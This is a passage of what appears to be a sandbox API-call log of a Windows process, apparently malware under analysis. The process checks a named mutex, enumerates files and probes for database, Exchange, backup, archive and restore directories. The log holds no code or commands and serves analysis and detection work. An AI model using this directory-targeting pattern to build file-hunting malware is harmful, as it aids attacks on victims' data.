lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.845] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.845] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.845] GlobalUnlock (hMem=0x44000c) returned 0 [0056.845] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.845] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.845] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.845] GlobalUnlock (hMem=0x44000c) returned 0 [0056.845] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.845] GlobalUnlock (hMem=0x440004) returned 0 [0056.845] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.845] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9debf8b5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9debf8b5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9dee5a15, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox.dll", cAlternateFileName="")) returned 1 [0056.845] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.845] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.845] GlobalLock (hMem=0x440004) returned 0x550170 [0056.846] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.846] GlobalUnlock (hMem=0x440004) returned 0 [0056.846] GlobalLock (hMem=0x440004) returned 0x550170 [0056.846] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.846] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.846] GlobalUnlock (hMem=0x440004) returned 0 [0056.846] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.846] GlobalUnlock (hMem=0x44000c) returned 0 [0056.846] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.846] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fd3080, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x5fd3080, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x5f60c69, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox28.tlb", cAlternateFileName="")) returned 1 [0056.846] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.846] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.846] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.846] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.846] GlobalUnlock (hMem=0x44000c) returned 0 [0056.846] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.846] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.846] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.846] GlobalUnlock (hMem=0x44000c) returned 0 [0056.846] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.846] GlobalUnlock (hMem=0x440004) returned 0 [0056.846] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.846] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf55bba, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xbf55bba, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x347dbdb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 1 [0056.846] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.846] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.846] GlobalLock (hMem=0x440004) returned 0x550170 [0056.846] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.846] GlobalUnlock (hMem=0x440004) returned 0 [0056.846] GlobalLock (hMem=0x440004) returned 0x550170 [0056.846] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.847] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.847] GlobalUnlock (hMem=0x440004) returned 0 [0056.847] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.847] GlobalUnlock (hMem=0x44000c) returned 0 [0056.847] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.847] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf55bba, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xbf55bba, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x347dbdb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 0 [0056.847] GetLastError () returned 0x12 [0056.847] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0056.847] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0056.847] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0056.847] GlobalLock (hMem=0x44000c) returned 0x54f168 [0056.847] GlobalHandle (pMem=0x54f168) returned 0x44000c [0056.847] GlobalUnlock (hMem=0x44000c) returned 0 [0056.847] GlobalLock (hMem=0x44000c) returned 0x54f168 [0056.847] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.847] GlobalHandle (pMem=0x54f168) returned 0x44000c [0056.847] GlobalUnlock (hMem=0x44000c) returned 0 [0056.847] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.847] GlobalUnlock (hMem=0x440004) returned 0 [0056.847] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.847] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0056.847] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0056.847] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0056.847] GlobalLock (hMem=0x440004) returned 0x54f168 [0056.847] GlobalHandle (pMem=0x54f168) returned 0x440004 [0056.847] GlobalUnlock (hMem=0x440004) returned 0 [0056.847] GlobalLock (hMem=0x440004) returned 0x54f168 [0056.848] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.848] GlobalHandle (pMem=0x54f168) returned 0x440004 [0056.848] GlobalUnlock (hMem=0x440004) returned 0 [0056.848] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.848] GlobalUnlock (hMem=0x44000c) returned 0 [0056.848] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.848] GlobalLock (hMem=0x44000c) returned 0x54f168 [0056.848] GlobalHandle (pMem=0x54f168) returned 0x44000c [0056.848] GlobalUnlock (hMem=0x44000c) returned 0 [0056.848] GlobalLock (hMem=0x44000c) returned 0x54f168 [0056.848] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.848] GlobalHandle (pMem=0x54f168) returned 0x44000c [0056.848] GlobalUnlock (hMem=0x44000c) returned 0 [0056.848] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.848] GlobalUnlock (hMem=0x440004) returned 0 [0056.848] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.848] SysReAllocStringLen (in: pbstr=0x18f104*=0x0, psz="C:\\Program Files\\Common Files\\System\\en-US", len=0x2a | out: pbstr=0x18f104*="C:\\Program Files\\Common Files\\System\\en-US") returned 1 [0056.848] GlobalLock (hMem=0x440004) returned 0x54f168 [0056.848] GlobalHandle (pMem=0x54f168) returned 0x440004 [0056.848] GlobalUnlock (hMem=0x440004) returned 0 [0056.848] GlobalLock (hMem=0x440004) returned 0x54f168 [0056.848] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.848] GlobalHandle (pMem=0x54f168) returned 0x440004 [0056.848] GlobalUnlock (hMem=0x440004) returned 0 [0056.848] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.848] GlobalUnlock (hMem=0x44000c) returned 0 [0056.861] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\Microsoft\\Exchange Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@閶R閊R企@\x18㿬Q\x18\x1b")) returned 0xffffffff [0056.861] GetLastError () returned 0x3 [0056.862] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\en-US\\", cchLength=0x2b | out: lpsz="c:\\program files\\common files\\system\\en-us\\") returned 0x2b [0056.862] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0056.862] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\") returned 21 [0056.862] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\Microsoft SQL Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@锴R企@\x18䁼Q\x181")) returned 0xffffffff [0056.862] GetLastError () returned 0x2 [0056.862] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\en-US\\", cchLength=0x2b | out: lpsz="c:\\program files\\common files\\system\\en-us\\") returned 0x2b [0056.862] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0056.862] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\") returned 9 [0056.863] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\Firebird", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@塤U企@\x18?T\x18;")) returned 0xffffffff [0056.863] GetLastError () returned 0x2 [0056.863] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\en-US\\", cchLength=0x2b | out: lpsz="c:\\program files\\common files\\system\\en-us\\") returned 0x2b [0056.863] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0056.863] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\") returned 8 [0056.863] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\MSSQL.1", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@劔U企@\x18?T\x18D")) returned 0xffffffff [0056.863] GetLastError () returned 0x2 [0056.863] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\en-US\\", cchLength=0x2b | out: lpsz="c:\\program files\\common files\\system\\en-us\\") returned 0x2b [0056.863] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=8, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0056.864] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\") returned 37 [0056.864] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@锴R企@\x18塤U\x18j")) returned 0xffffffff [0056.864] GetLastError () returned 0x2 [0056.864] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\en-US\\", cchLength=0x2b | out: lpsz="c:\\program files\\common files\\system\\en-us\\") returned 0x2b [0056.864] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\") returned 37 [0056.864] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\") returned 6 [0056.864] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\Adobe", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@ꍴR企@\x18?T\x18q")) returned 0xffffffff [0056.864] GetLastError () returned 0x2 [0056.864] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\en-US\\", cchLength=0x2b | out: lpsz="c:\\program files\\common files\\system\\en-us\\") returned 0x2b [0056.864] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="adobe\\塠U ") returned 6 [0056.865] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\") returned 7 [0056.865] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\Oracle", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@嚔U企@\x18?T\x18y")) returned 0xffffffff [0056.865] GetLastError () returned 0x2 [0056.865] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\en-US\\", cchLength=0x2b | out: lpsz="c:\\program files\\common files\\system\\en-us\\") returned 0x2b [0056.865] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0056.865] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\") returned 7 [0056.865] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\Archive", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@劔U企@\x18?T\x18\x81")) returned 0xffffffff [0056.865] GetLastError () returned 0x2 [0056.865] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\en-US\\", cchLength=0x2b | out: lpsz="c:\\program files\\common files\\system\\en-us\\") returned 0x2b [0056.865] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0056.866] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\") returned 6 [0056.866] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\Backup", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@ꍴR企@\x18?T\x18\x88")) returned 0xffffffff [0056.866] GetLastError () returned 0x2 [0056.866] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\en-US\\", cchLength=0x2b | out: lpsz="c:\\program files\\common files\\system\\en-us\\") returned 0x2b [0056.866] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0056.866] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\") returned 6 [0056.866] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\Reserv", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@嚔U企@\x18?T\x18\x8f")) returned 0xffffffff [0056.866] GetLastError () returned 0x2 [0056.866] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\en-US\\", cchLength=0x2b | out: lpsz="c:\\program files\\common files\\system\\en-us\\") returned 0x2b [0056.866] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0056.867] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\") returned 7 [0056.867] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\Restore", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@劔U企@\x18?T\x18\x97")) returned 0xffffffff [0056.867] GetLastError () returned 0x2 [0056.867] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\en-US\\", cchLength=0x2b | out: lpsz="c:\\program files\\common files\\system\\en-us\\") returned 0x2b [0056.867] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0056.867] GlobalLock (hMem=0x44000c) returned 0x54f168 [0056.867] GlobalHandle (pMem=0x54f168) returned 0x44000c [0056.867] GlobalUnlock (hMem=0x44000c) returned 0 [0056.867] GlobalLock (hMem=0x44000c) returned 0x54f168 [0056.867] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.867] GlobalHandle (pMem=0x54f168) returned 0x44000c [0056.867] GlobalUnlock (hMem=0x44000c) returned 0 [0056.867] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.867] GlobalUnlock (hMem=0x440004) returned 0 [0056.867] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\en-US\\", cchLength=0x2b | out: lpsz="c:\\program files\\common files\\system\\en-us\\") returned 0x2b [0056.867] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0056.867] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0056.868] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\en-US\\", cchLength=0x2b | out: lpsz="c:\\program files\\common files\\system\\en-us\\") returned 0x2b [0056.868] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0056.868] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 46 [0056.868] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\en-US\\", cchLength=0x2b | out: lpsz="c:\\program files\\common files\\system\\en-us\\") returned 0x2b [0056.868] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0056.868] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0056.868] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\en-US\\", cchLength=0x2b | out: lpsz="c:\\program files\\common files\\system\\en-us\\") returned 0x2b [0056.868] 